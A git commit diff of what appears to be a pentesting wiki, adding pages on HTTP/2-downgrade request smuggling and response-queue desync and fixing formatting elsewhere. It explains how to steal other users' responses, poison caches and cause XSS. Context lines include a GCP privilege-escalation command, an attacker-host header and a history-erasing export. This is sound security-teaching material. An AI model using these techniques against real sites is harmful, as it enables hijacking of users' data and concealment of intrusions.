GitBook: [#2828] update desync

This commit is contained in:
CPol 2021-11-05 20:59:42 +00:00 committed by gitbook-bot
parent c526faec69
commit 6eca472f9e
No known key found for this signature in database
GPG key ID: 07D2180C7B12D0FF
66 changed files with 366 additions and 106 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 134 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 134 KiB

After

Width:  |  Height:  |  Size: 319 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 319 KiB

After

Width:  |  Height:  |  Size: 76 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 319 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 319 KiB

After

Width:  |  Height:  |  Size: 62 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 176 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 176 KiB

After

Width:  |  Height:  |  Size: 42 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 42 KiB

After

Width:  |  Height:  |  Size: 76 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 27 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 27 KiB

After

Width:  |  Height:  |  Size: 304 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 204 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 204 KiB

After

Width:  |  Height:  |  Size: 24 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 24 KiB

After

Width:  |  Height:  |  Size: 74 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 175 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 389 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 90 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 120 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 86 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 113 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 144 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 68 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 137 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 286 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 301 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 255 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 137 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 175 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 80 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 301 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 186 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 78 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 488 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 139 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 137 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 62 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 444 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 77 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 126 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 110 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 316 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 137 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 105 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 273 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 68 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 133 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 305 KiB

View file

@ -361,7 +361,6 @@
* [Reflecting Techniques - PoCs and Polygloths CheatSheet](pentesting-web/pocs-and-polygloths-cheatsheet/README.md)
* [Web Vulns List](pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md)
* [2FA/OTP Bypass](pentesting-web/2fa-bypass.md)
* [Abusing hop-by-hop headers](pentesting-web/abusing-hop-by-hop-headers.md)
* [Bypass Payment Process](pentesting-web/bypass-payment-process.md)
* [Captcha Bypass](pentesting-web/captcha-bypass.md)
* [Cache Poisoning and Cache Deception](pentesting-web/cache-deception.md)
@ -395,8 +394,11 @@
* [File Upload](pentesting-web/file-upload/README.md)
* [PDF Upload - XXE and CORS bypass](pentesting-web/file-upload/pdf-upload-xxe-and-cors-bypass.md)
* [Formula Injection](pentesting-web/formula-injection.md)
* [HTTP Request Smuggling / HTTP Desync Attack](pentesting-web/http-request-smuggling.md)
* [HTTP Request Smuggling / HTTP Desync Attack](pentesting-web/http-request-smuggling/README.md)
* [Request Smuggling in HTTP/2 Downgrades](pentesting-web/http-request-smuggling/request-smuggling-in-http-2-downgrades.md)
* [HTTP Response Smuggling / Desync](pentesting-web/http-response-smuggling-desync.md)
* [H2C Smuggling](pentesting-web/h2c-smuggling.md)
* [hop-by-hop headers](pentesting-web/abusing-hop-by-hop-headers.md)
* [IDOR](pentesting-web/idor.md)
* [JWT Vulnerabilities (Json Web Tokens)](pentesting-web/hacking-jwt-json-web-tokens.md)
* [NoSQL injection](pentesting-web/nosql-injection.md)

View file

@ -1,6 +1,6 @@
# GCP Security
![](<../../.gitbook/assets/image (629) (1).png>)
![](<../../.gitbook/assets/image (629) (1) (1).png>)
## Security concepts <a href="security-concepts" id="security-concepts"></a>

View file

@ -17,7 +17,7 @@ Note that other cloud resources could be searched for and that some times these
As other clouds, GCP also offers Buckets to its users. These buckets might be (to list the content, read, write...).
![](<../../.gitbook/assets/image (628).png>)
![](<../../.gitbook/assets/image (628) (1).png>)
The following tools can be used to generate variations of the name given and search for miss-configured buckets with that names:

View file

@ -8,7 +8,7 @@ These techniques were copied from [https://rhinosecuritylabs.com/gcp/privilege-e
This single permission lets you **launch new deployments** of resources into GCP a**s the **_**\<project number>@cloudservices.gserviceaccount.com**_** Service Account**, which, by default, is granted the Editor role on the project.
![](<../../.gitbook/assets/image (626).png>)
![](<../../.gitbook/assets/image (626) (1).png>)
In the following example [this script](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/deploymentmanager.deployments.create.py) is used to deploy a compute instance, but any resource listed in `gcloud deployment-manager types list`_ _could be actually deployed:
@ -18,7 +18,7 @@ In the following example [this script](https://github.com/RhinoSecurityLabs/GCP-
You can use this permission to **update the “includedPermissons” on your role**, so you can get any permission you want.
![](<../../.gitbook/assets/image (627) (1).png>)
![](<../../.gitbook/assets/image (627) (1) (1).png>)
```
gcloud iam roldes update <rol name> --project <project> --add-permissions <permission>

View file

@ -66,7 +66,7 @@ perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon
In **summary**, you can start decrypting the encrypted data by guessing the correct values that can be used to create all the **different paddings**. Then, the padding oracle attack will start decrypting bytes from the end to the start by guessing which will be the correct value that **creates a padding of 1, 2, 3, etc**.
![](<../.gitbook/assets/image (629).png>)
![](<../.gitbook/assets/image (629) (1).png>)
Imagine you have some encrypted text that occupies **2 blocks** formed by the bytes from **E0 to E15**.\
In order to **decrypt** the **last** **block** (**E8** to **E15**), the whole block passes through the "block cipher decryption" generating the **intermediary bytes I0 to I15**.\

View file

@ -2,7 +2,7 @@
## Global variables
The **global variables **will be** inherited **by **child processes**.
The \*\*global variables **will be** inherited \*\*by **child processes**.
You can create a global variable for your current session doing:
@ -43,9 +43,9 @@ cat /proc/`python -c "import os; print(os.getppid())"`/environ
#### **Files that affect behavior of every user:**
* _**/etc/bash.bashrc**_** **: This file is read whenever an interactive shell is started (normal terminal) and all the commands specified in here are executed.
* _**/etc/bash.bashrc**_\*\* \*\*: This file is read whenever an interactive shell is started (normal terminal) and all the commands specified in here are executed.
* _**/etc/profile and /etc/profile.d/\***_**:** This file is read every time a user logs in. Thus all the commands executed in here will execute only once at the time of user logging in.
* **Example: **
* \*\*Example: \*\*
`/etc/profile.d/somescript.sh`
@ -57,10 +57,10 @@ cat /proc/`python -c "import os; print(os.getppid())"`/environ
#### **Files that affect behavior for only a specific user:**
* _**\~/.bashrc**_** :** This file behaves the same way _/etc/bash.bashrc_ file works but it is executed only for a specific user. If you want to create an environment for yourself go ahead and modify or create this file in your home directory.
* _**\~/.profile, \~/.bash_profile, \~/.bash_login**_**:** These files are same as _/etc/profile_. The difference comes in the way it is executed. This file is executed only when a user in whose home directory this file exists, logs in.
* _**\~/.bashrc**_\*\* :\*\* This file behaves the same way _/etc/bash.bashrc_ file works but it is executed only for a specific user. If you want to create an environment for yourself go ahead and modify or create this file in your home directory.
* _**\~/.profile, \~/.bash\_profile, \~/.bash\_login**_**:** These files are same as _/etc/profile_. The difference comes in the way it is executed. This file is executed only when a user in whose home directory this file exists, logs in.
**Extracted from: **[**here**](https://codeburst.io/linux-environment-variables-53cea0245dc9)** and **[**here**](https://www.gnu.org/software/bash/manual/html_node/Bash-Startup-Files.html)****
**Extracted from: **[**here**](https://codeburst.io/linux-environment-variables-53cea0245dc9)** and **[**here**](https://www.gnu.org/software/bash/manual/html\_node/Bash-Startup-Files.html)
## Common variables
@ -69,7 +69,7 @@ From: [https://geek-university.com/linux/common-environment-variables/](https://
* **DISPLAY** the display used by **X**. This variable is usually set to **:0.0**, which means the first display on the current computer.
* **EDITOR** the users preferred text editor.
* **HISTFILESIZE** the maximum number of lines contained in the history file.
* **HISTSIZE - **Number of lines added to the history file when the user finish his session
* \*\*HISTSIZE - \*\*Number of lines added to the history file when the user finish his session
* **HOME** your home directory.
* **HOSTNAME** the hostname of the computer.
* **LANG** your current language.
@ -77,7 +77,7 @@ From: [https://geek-university.com/linux/common-environment-variables/](https://
* **MANPATH** the list of directories to search for manual pages.
* **OSTYPE** the type of operating system.
* **PS1** the default prompt in bash.
* **PATH - **stores the path of all the directories which holds binary files you want to execute just by specifying the name of the file and not by relative or absolute path.
* \*\*PATH - \*\*stores the path of all the directories which holds binary files you want to execute just by specifying the name of the file and not by relative or absolute path.
* **PWD** the current working directory.
* **SHELL** the path to the current command shell (for example, **/bin/bash**).
* **TERM** the current terminal type (for example, **xterm**).
@ -88,7 +88,7 @@ From: [https://geek-university.com/linux/common-environment-variables/](https://
### **HISTFILESIZE**
Change the **value of this variable to 0**, so when you **end your session** the **history file** (\~/.bash_history) **will be deleted**.
Change the **value of this variable to 0**, so when you **end your session** the **history file** (\~/.bash\_history) **will be deleted**.
```bash
export HISTFILESIZE=0
@ -96,13 +96,13 @@ export HISTFILESIZE=0
### **HISTSIZE**
Change the **value of this variable to 0**, so when you **end your session** any command will be added to the **history file** (\~/.bash_history).
Change the **value of this variable to 0**, so when you **end your session** any command will be added to the **history file** (\~/.bash\_history).
```bash
export HISTSIZE=0
```
### http_proxy
### http\_proxy
The processes will use the **proxy** declared here to connect to internet through **http**.
@ -110,7 +110,7 @@ The processes will use the **proxy** declared here to connect to internet throug
export http_proxy="http://10.10.10.10:8080"
```
### https_proxy
### https\_proxy
The processes will use the **proxy** declared here to connect to internet through **https**.
@ -122,7 +122,7 @@ export https_proxy="http://10.10.10.10:8080"
Change how your prompt looks.
**I have created **[**this one**](https://gist.github.com/carlospolop/43f7cd50f3deea972439af3222b68808) (based on another, read the code).
\*\*I have created \*\*[**this one**](https://gist.github.com/carlospolop/43f7cd50f3deea972439af3222b68808) (based on another, read the code).
Root:

View file

@ -7,7 +7,7 @@ Docker engine does the heavy lifting of running and managing Containers. Docker
Finally, an **auth plugin** can be used to **limit the actions** users can perform.\
![](<../../../.gitbook/assets/image (625) (1).png>)
![](<../../../.gitbook/assets/image (625) (1) (1).png>)
### **Docker engine secure access**

View file

@ -12,11 +12,11 @@
The goal of poisoning the cache is to make the **clients load unexpected resources partially or totally controlled by the attacker**.\
The poisoned response will only be served to users who visit the affected page while the cache is poisoned. As a result, the impact can range from non-existent to massive depending on whether the page is popular or not.
In order to perform a cache poisoning attack you need first to **identify ukeyed inputs** (parameters not needed to appear on the the cached request but that change the returned page), see **how to abuse** this parameter and **get the response cached**.
In order to perform a cache poisoning attack you need first to **identify ukeyed inputs** (parameters not needed to appear on the the cached request but that change the returned page), see **how to abuse** this parameter and **get the response cached**.&#x20;
### Identify and evaluate unkeyed inputs
You could use [Param Miner](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) to **brute-force parameters and headers** that may be** changing the response of the page**. For example, a page may be using the header `X-Forwarded-For` to indicate the client to load script from there:
You could use [Param Miner](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) to **brute-force parameters and headers** that may be** changing the response of the page**. For example, a page may be using the header `X-Forwarded-For` to indicate the client to load script from there:&#x20;
```markup
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
@ -34,7 +34,7 @@ The header **`Cache-Control`** is also interesting to know if a resource is bein
Another interesting header is **`Vary`** . This header is often used to **indicate additional headers** that are treated as** part of the cache key** even if they are normally unkeyed. Therefore, if the user knows the `User-Agent` of the victim he is targeting, he can poison the cache for the users using that specific `User-Agent`.\
One more header related to the cache is **`Age`**. It defines the times in seconds the object has been in the proxy cache.
When caching a request, be **careful with the headers you use **because some of them could be **used unexpectedly **as **keyed **and the **victim will need to use that same header**. Always **test **a Cache Poisoning with **different browsers** to check if it's working.
When caching a request, be **careful with the headers you use **because some of them could be **used unexpectedly **as **keyed **and the **victim will need to use that same header**. Always **test **a Cache Poisoning with **different browsers** to check if it's working.&#x20;
## Examples
@ -87,7 +87,7 @@ X-Host: attacker.com
### Exploiting HTTP Cache Poisoning abusing HTTP Request Smuggling
Learn here about how to perform [Cache Poisoning attacks abusing HTTP Request Smuggling](http-request-smuggling.md#using-http-request-smuggling-to-perform-web-cache-poisoning).
Learn here about how to perform [Cache Poisoning attacks abusing HTTP Request Smuggling](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning).
## Cache Deception
@ -101,7 +101,7 @@ Then, the **attacker **can access _http://www.example.com/home.php _and see the
Note that the **cache proxy** should be **configured **to **cache **files **based **on the **extension **of the file (_.css_) and not base on the content-type. In the example _http://www.example.com/home.php/non-existent.css _will have a `text/html` content-type instead of a `text/css` mime type (which is the expected for a _.css_ file).
Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request Smuggling](http-request-smuggling.md#using-http-request-smuggling-to-perform-web-cache-deception).
Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request Smuggling](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception).
## References

View file

@ -130,11 +130,11 @@ Since the front-end server uses the `Content-Length` header, it will forward onl
Sometimes, instead of getting a timeout you receive a 400 bad request from the final host like in the following scenario, where a CL.TE payload is sent:
![](<../.gitbook/assets/image (444).png>)
![](<../../.gitbook/assets/image (444).png>)
And the response is a redirect containing an error inside the body with even the version of the haproxy used:
![](<../.gitbook/assets/image (443).png>)
![](<../../.gitbook/assets/image (443).png>)
### Finding TE.CL vulnerabilities using timing techniques
@ -156,7 +156,7 @@ Since the front-end server uses the `Transfer-Encoding` header, it will forward
Once you have found that the **timing techniques are working** you need to **probe **that you can you can **alter others clients requests**.\
The easiest way to do this is to try to poison your own requests, **make a request for `/` return a 404 for example**.\
In the [Basic Examples](http-request-smuggling.md#basic-examples) we already saw `CL.TE` and `TE.CL` examples of how to poison a clients request to ask for `/404` provoking a 404 response when the client was asking for any other resource.
In the [Basic Examples](./#basic-examples) we already saw `CL.TE` and `TE.CL` examples of how to poison a clients request to ask for `/404` provoking a 404 response when the client was asking for any other resource.
#### **Notes**
@ -168,6 +168,20 @@ Some important considerations should be kept in mind when attempting to confirm
* In some applications, the front-end server functions as a load balancer, and forwards requests to different back-end systems according to some load balancing algorithm. If your "attack" and "normal" requests are forwarded to different back-end systems, then the attack will fail. This is an additional reason why you might need to try several times before a vulnerability can be confirmed.
* If your attack succeeds in interfering with a subsequent request, but this wasn't the "normal" request that you sent to detect the interference, then this means that another application user was affected by your attack. If you continue performing the test, this could have a disruptive effect on other users, and you should exercise caution.
### Forcing via hop-by-hop headers
Abusing hop-by-hop headers you could indicate the proxy to **delete the header Content-Length or Transfer-Encoding so a HTTP request smuggling is possible to abuse**.
```
Connection: Content-Lentgh
```
For **more information about hop-by-hop headers** visit:
{% content-ref url="../abusing-hop-by-hop-headers.md" %}
[abusing-hop-by-hop-headers.md](../abusing-hop-by-hop-headers.md)
{% endcontent-ref %}
## Abusing HTTP Request Smuggling
### To bypass front-end security controls
@ -334,7 +348,7 @@ Here, the user's request was for a JavaScript file that was imported by a page o
If any part of the **front-end infrastructure performs caching of content** (generally for performance reasons) the it **might be possible to poison that cache modifying the response of the server**.
We have already see how to modify the expected returned value from the server to a 404 (in the [Basic Examples](http-request-smuggling.md#basic-examples)), in a similar way you could make the server return the content of /index.html when the poisoned request is asking for `/static/include.js` . This way, the content of the `/static/include.js` will be cached with the content of `/index.html` making `/static/include.js` inaccessible to the clients (DoS?).
We have already see how to modify the expected returned value from the server to a 404 (in the [Basic Examples](./#basic-examples)), in a similar way you could make the server return the content of /index.html when the poisoned request is asking for `/static/include.js` . This way, the content of the `/static/include.js` will be cached with the content of `/index.html` making `/static/include.js` inaccessible to the clients (DoS?).
Notice this is even more interesting if you find some **Open Redirect **or some** on-site redirect to open redirect** (last section). Because, you could be able to **change the cache values** of `/static/include.js` with the **ones of a script controlled by you** (making a **general XSS to all the clients** that try to download the new version of`/static/include.js`).
@ -385,6 +399,14 @@ In this variant, the attacker smuggles a request that returns some sensitive use
If the **poison reaches a client that was accessing some static content **like `/someimage.png` that was going to be **cached**. The contents of `/private/messages` of the victim will be cached in `/someimage.png` and the attacker will be able to steal them.\
Note that the **attacker doesn't know which static content the victim was trying to access** so probably the best way to test this is to perform the attack, wait a few seconds and** load all** the static contents and **search for the private data**.
### Weaponizing HTTP Request Smuggling with HTTP Response Desynchronisation
Have you found some HTTP Request Smuggling vulnerability and you don't know how to exploit it. Try these other method of exploitation:
{% content-ref url="../http-response-smuggling-desync.md" %}
[http-response-smuggling-desync.md](../http-response-smuggling-desync.md)
{% endcontent-ref %}
## Turbo intruder scripts
### CL.TE
@ -478,9 +500,9 @@ def handleResponse(req, interesting):
## More info
![](../.gitbook/assets/EKi5edAUUAAIPIK.jpg)
![](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg)
[Image from here.](https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104)
[Image from here.](https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104)
## Tools

View file

@ -0,0 +1,105 @@
# Request Smuggling in HTTP/2 Downgrades
## Origins
The main origin of this vulnerability is the fact that the **reverse proxy** is going to **talk with the client **using **HTTP/2** but then it will **transform** that **communication** with the **back-end server** to **HTTP/1.1**.
![](<../../.gitbook/assets/image (636).png>)
The problem with this approach is that the **user** is going to be able to **inject** unnecessarily **headers** in the **HTTP/2 communication** that probably **won't be checked** by the proxy. But then, when those are **injected blindly in the HTTP/1.1 communication**, **a request smuggling attack can be performed**.
## Examples
### H2.CL Desync
The HTTP/2 specification indicates that the **Content-Length header isn't needed but can be indicated**. Therefore, the **reverse proxy** will **treat all the content sent by the users** as the request, but then, when **downgrading to HTTP/1.1**, this **header** is going to be **injected** in the **request** and therefore, the **back-end will treat the request as 2 different requests** as you can see in the image below:
![](<../../.gitbook/assets/image (639).png>)
### H2.TE Desync URL Token Hijack
The HTTP/2 specification also indicates that **any message containing connection-specific header fields MUST be treated as malformed... but if you don't follow this rule, you are vulnerable**.
This technique was abused on AWS load balancer, so making sure that the users access a Host header pointing to a server controlled by the attacker will make them access that server.
![](<../../.gitbook/assets/image (631).png>)
### H2.TE Desync Header Hijack
This is exactly the same technique as before, but checking the requests James noticed that clients were asking to send him their credentials, so he just modified his server to allow CORS to send him peoples credentials:
![](<../../.gitbook/assets/image (662).png>)
### H2.TE via Request Header Injection
**HTTP/2 also won't allow to put not permitted characters in headers**, but if the server** isn't respecting** this rule, you can** inject arbitrary headers **when the communication is **downgraded** to HTTP/1.1.
In this case **the header Transfer-Encoding was injected**.
![](<../../.gitbook/assets/image (648).png>)
### H2.TE via Header Name Injection
HTTP/2 on some servers lets you put a **colon in the header name, and with a \r\n** you can inject a new header inside the header name like this:
![](<../../.gitbook/assets/image (632).png>)
Note that if you put just the new line characters sending a header without content, the request is going to be treated as **invalid**:
![](<../../.gitbook/assets/image (647).png>)
### H2.TE via Request LIne Injection
In this case the injection was performed inside the request line:
![](<../../.gitbook/assets/image (640).png>)
## Frontend->backend connection reuse
Sometimes you will find that preforming a HTTP Request Smuggling attack **you can only attack yourself**. This could be because the reverse proxy has decided to **use a different connection with the back-end** server per IP.
Note that **even** with that **restriction** you still can perform attacks like **authorization bypasses**, internal headers leakage and **cache deception and cache poisoning** attacks.
Usually this restriction doesn't exist so you can** smuggle request into the connection between the reverse proxy and the back end** that other people are using, but it's even **possible** that the **proxy** doesn't **even reuse a connection with connections from the same IP **(pretty heavy restriction for this kind of attack).
![](<../../.gitbook/assets/image (646).png>)
In the heaviest restriction (no connection reuse) you will detect the vulnerability with the Time Based technique, but then testing it you will find that it's a "false positive".
### Tunnelling Confirmation
A way to **confirm** if the **endpoint is vulnerable** but the connection is **inside a "tunnel"** is to **smuggle 2 full requests **into 1.
The **problem** with **HTTP/1.1** is that if you **receive 2 HTTP responses** you **don't know** if the endpoint was **vulnerable** or it isn't and the **"smuggled" request was just treated as a regular request**.
However, this technique can be used **in HTTP/2** because if the endpoint was **vulnerable** and you smuggled one request, you will see the **headers of the response to the smuggled request in the response from the reverse proxy**:
![](<../../.gitbook/assets/image (652).png>)
### Tunnel-vision Problem
There could be another problem, if the **response** to the legit request **contains** a **Content-Length**, the** reverse prox**y is only going to **read the bytes specified there and no more, so you won't be able to read the response from the smuggled request.**
However, the **HEAD** request **doesn't contain a body** but it usually **contains** the **Content-Length** as if the request was a GET request. Therefore, sending a **HEAD** request **instead of a POST** request you can **read the HEAD Content-Length** bytes of the smuggled request response.
![](<../../.gitbook/assets/image (628).png>)
### Leaking Internal Headers via Tunneling
If you find a **POST** **parameter** inside the application whose **content** is going to be **reflected** in the **response**, then you can try to inject HTTP/1.1 \r\n characters inside a HTTP/2 request header so the newly injected headers by the proxy are going to be appended in the POST parameter that will be reflected in the response:
![](<../../.gitbook/assets/image (656).png>)
Note that in this case the **attacker** just cares about the **response** to the **first** **request**, he doesn't need to read the request to the smuggled invalid second request.
{% hint style="info" %}
Using this attack **agains different parts of the web (method, path...)** can lead to different back-ends being used and **different sensitive information being leaked**
{% endhint %}
### Cache Poisoning via Tunneling
In this scenario a **HEAD** request to the **URL** **whose** **cache** is going to be **poisoned** is sent while **smuggling** a **request** whose **response content will be containing the payload** (maybe some XSS payload).
Due to the fact the the **HEAD response contains the `Content-Type: text/html`** and because the reverse proxy thinks that the **whole response to the smuggled request is the body of the HEAD** request, the **XSS payload** is going to be **treated as HTML** even if the page wasn't vulnerable to XSS.
![](<../../.gitbook/assets/image (659).png>)

View file

@ -0,0 +1,131 @@
# HTTP Response Smuggling / Desync
## HTTP Request Queue Desynchronisation
First of all, this technique **abuses a HTTP Request Smuggling vulnerability**, so you need to know what that is:
The **main** **difference** between this technique and a common HTTP Request smuggling is that **instead** of **attacking** the **request** of the **victim** **by adding a prefix to it**, we are going to **leak or modify the response the victim receives**. This is done by, instead of sending 1 request and a half to abuse the HTTP Request smuggling, **send 2 complete requests to desynchronise the proxies responses queue**.
This is because we are going to be able to **desynchronise the response queue** so the **response** from the **legit** **request** of the **victim is sent to the attacker**, or by **injecting attackers controlled content in the response to the victim**.
### HTTP Pipeline Desync
HTTP/1.1 allows to ask for **different resources without needing to wait for previous ones**. Therefore, if there is a **proxy** in the **middle**, it's the proxies task to **maintain a synchronised match of requests sent to the backend and responses coming from it**.
However, there is a problem desynchronising the responses queue. If an attacker send a HTTP Response smuggling attack and the responses to the **initial request and the smuggled one are responded immediately**, the smuggled response won't be inserted inside the queue of the victim response but will **just be discarded as an error**.
![](<../.gitbook/assets/image (635).png>)
Therefore, it's needed that the **smuggled** **request** **takes more time to be processed** inside the back-end server. Therefore, by the time the smuggled request is processed, the communication with the attacker will be over.
If in this specific situation a **victim has sent a request** and the **smuggled request is responded before** the legitimate request, the **smuggled response will be sent to the victim**. Therefore, the attacker will be **controlling the request "performed" by the victim**.
Moreover, is the **attacker then perform a request** and the **legitimate response** to the **victim** request is **answered** **before** the attackers request. The **response to the victim is going to be sent to the attacker**, **stealing** the response to the victim (which can contains for example the header **Set-Cookie**).
![](<../.gitbook/assets/image (658).png>)
![](<../.gitbook/assets/image (655).png>)
### Multiple Nested Injections
Another** interesting difference** with common **HTTP Request Smuggling** is that, in a common smuggling attack, the **goal** is to **modify the beginning of the victims request** so it perform an unexpected action. In a **HTTP Response smuggling attack**, as you are **sending full requests**, you can **inject in one payload tens of responses** that will be **desynchronising tens of users** that will be **receiving** the **injected** **responses**.
Apart from being able to **distribute more easily tens of exploits** across legitimate users, this could also be used to cause a **DoS** in the server.
### Exploit Organisation
As explained previously, in order to abuse this technique, it's needed that the **first smuggled message** into the server **requires a lot of time to be processed**.&#x20;
This **time consuming request is enough** if we just want to **try to steal the victims response.** But if you want to perform a more complex exploit this will be a common structure for the exploit.
First of all the **initial** request abusing **HTTP** **Request** **smuggling**, then the **time consuming request **and then **1 or more payload requests** that whose responses will be sent to the victims.
## Abusing HTTP Response Queue Desynchronisation
### Capturing other users' requests <a href="capturing-other-users-requests" id="capturing-other-users-requests"></a>
As with HTTP Request Smuggling known payloads, you can **steal the victims request **with one important difference: In this case you just need the **send content to be reflected in the response**, **no persistent storage** is needed.
First, the attacker send a payload containing a **final POST request with the reflected parameter** at the end and a large Content-Length
![](<../.gitbook/assets/image (625).png>)
Then, once the** initial request** (blue) was **processed** and **while** the **sleepy** one is being processed (yellow) the **next request that arrives from a victim** is going to be **appended in the queue just after the reflected parameter**:
![](<../.gitbook/assets/image (634).png>)
Then, the **victim** will **receive** the **response to the sleepy** request and if in the meantime the **attacker** **sent** **another** **request**, the **response from the reflected content request will be sent to him**.
## Response Desynchronisation
Up to this point, we have learned how to abuse HTTP Request Smuggling attacks to **control** the **request** **whose** **response** a **client** is going to **receive** and how you can then **steal the response that was meant for the victim**.
But it's still possible to **desynchronise even** more the responses.
There are interesting requests like **HEAD** request that are specified to not have **any content inside the responses body** and that should (must) **contain the Content-Length** of the request like **if it was a GET request**.
Therefore, if an attacker **injects** a **HEAD** request, like in this images:
![](<../.gitbook/assets/image (626).png>)
Then, **once the blue one is responded to the attacker**, the next victims request is going to be introduced in the queue:
![](<../.gitbook/assets/image (651).png>)
Then, the **victim** will **receive** the **response** from the **HEAD** request, which is **going to contain a Content-Length but no content at all**. Therefore, the proxy **won't send this response** to the victim, but will **wait** for some **content**, which actually is going to be **response to the yellow request** (also injected by the attacker):
![](<../.gitbook/assets/image (627).png>)
### Content Confusion
Following the previous example, knowing that you can **control the body** of the request whose response is going to receive the victim and that a **HEAD** **response** usually contains in its headers the **Content-Type and the Content-Length**, you can **send a request like the following** one to **cause XSS** in the victim without the page being vulnerable to XSS:
![](<../.gitbook/assets/image (654).png>)
### Cache Poisoning
Abusing the previously commented response desynchronisation Content Confusion attack, i**f the cache stores the response to the request performed by the victim and this response is an injected one causing a XSS, then the cache is poisoned**.
Malicious request containing the XSS payload:
![](<../.gitbook/assets/image (644).png>)
Malicious response to the victim that contains the header that indicates to the cache to store the response:
![](<../.gitbook/assets/image (629).png>)
{% hint style="warning" %}
Note that in this case if the **"victim" is the attacker** he can now perform **cache poisoning in arbitrary URLs** as he can **control the URL that is going to be cached** with the malicious response.
{% endhint %}
### Web Cache Deception
This attack is similar to the previous one, but **instead of injecting a payload inside the cache, the attacker will be caching victim information inside of the cache:**
![](<../.gitbook/assets/image (630).png>)
### Response Splitting
The **goal** of this attack is to abuse again the **response** **desynchronisation** in order to **make the proxy send a 100% attacker generated response**.
In order to achieve this, the attacker needs to find an endpoint of the web application that is **reflecting some values inside the response** and **know the content length of the HEAD response**.
He will send a **exploit** like:
![](<../.gitbook/assets/image (649).png>)
After the first request is resolved and sent back to the attacker, the **victims request is added into the queue**:
![](<../.gitbook/assets/image (661).png>)
The victim will receive as response the **HEAD response + the content of the second request response (containing part of the reflected data):**
![](<../.gitbook/assets/image (633).png>)
However, note how the **reflected data had a size according to the Content-Length** of the **HEAD** response that **generated a valid HTTP response in the response queue**.
Therefore, the **next request of the second victim** will be **receiving** as** response something completely crafted by the attacker**. As the response is completely crafted by the attacker he can also **make the proxy cache the response**.
## References
* Don't forget to check this video explaining all these techniques really good: [https://www.youtube.com/watch?v=suxDcYViwao\&t=1343s](https://www.youtube.com/watch?v=suxDcYViwao\&t=1343s)

View file

@ -10,7 +10,7 @@ Nowadays **web** **applications** usually **uses** some kind of **intermediary**
* [ ] [**Abusing hop-by-hop headers**](abusing-hop-by-hop-headers.md)****
* [ ] ****[**Cache Poisoning/Cache Deception**](cache-deception.md)****
* [ ] ****[**HTTP Request Smuggling**](http-request-smuggling.md)****
* [ ] ****[**HTTP Request Smuggling**](http-request-smuggling/)****
* [ ] ****[**H2C Smuggling**](h2c-smuggling.md)****
* [ ] ****[**Server Side Inclusion/Edge Side Inclusion**](server-side-inclusion-edge-side-inclusion-injection.md)****
* [ ] ****[**Uncovering Cloudflare**](../pentesting/pentesting-web/uncovering-cloudflare.md)****

View file

